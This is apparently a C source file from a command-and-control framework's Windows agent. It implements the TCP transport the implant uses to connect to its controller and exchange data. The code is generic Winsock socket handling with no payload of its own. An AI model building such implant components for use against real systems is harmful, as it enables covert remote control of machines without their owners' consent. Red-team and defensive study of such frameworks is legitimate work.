Sigma-C2/agent/transport_tcp.c

#include <winsock2.h>
#include <ws2tcpip.h> // Added for InetPtonA
#include <stdio.h>
#include <stdlib.h>

#include "transport.h"

static int tcp_send(void* handle, const char* data, size_t len) {
    SOCKET sock = *(SOCKET*)handle;
    return send(sock, data, len, 0);
}

static int tcp_recv(void* handle, char* buffer, size_t len) {
    SOCKET sock = *(SOCKET*)handle;
    return recv(sock, buffer, len, 0);
}

static void tcp_cleanup(void* handle) {
    SOCKET* sock = (SOCKET*)handle;
    if (*sock != INVALID_SOCKET) {
        shutdown(*sock, SD_BOTH);
        closesocket(*sock);
    }
    // WSACleanup();
    free(sock);
}

Transport* InitTCPTransport(const char* domain, unsigned short port) {
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        fprintf(stderr, "Error: WSAStartup failed\n");
        return NULL;
    }

    SOCKET* sock = (SOCKET*)malloc(sizeof(SOCKET));
    if (!sock) {
        fprintf(stderr, "Error: Failed to allocate memory for socket\n");
        // WSACleanup();
        return NULL;
    }
    *sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (*sock == INVALID_SOCKET) {
        fprintf(stderr, "Error: Failed to create socket\n");
        // WSACleanup();
        free(sock);
        return NULL;
    }

    struct sockaddr_in serverAddr = {
        .sin_family = AF_INET,
        .sin_port = htons(port)
    };
    if (InetPtonA(AF_INET, domain, &serverAddr.sin_addr) <= 0) {
        fprintf(stderr, "Error: Failed to resolve domain %s\n", domain);
        closesocket(*sock);
        // WSACleanup();
        free(sock);
        return NULL;
    }

    if (connect(*sock, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) < 0) {
        fprintf(stderr, "Error: Failed to connect to %s\n", domain);
        closesocket(*sock);
        // WSACleanup();
        free(sock);
        return NULL;
    }

    Transport* transport = (Transport*)malloc(sizeof(Transport));
    if (transport) {
        transport->handle = sock;
        transport->send = tcp_send;
        transport->recv = tcp_recv;
        transport->cleanup = tcp_cleanup;
    } else {
        tcp_cleanup(sock);
    }
    return transport;
}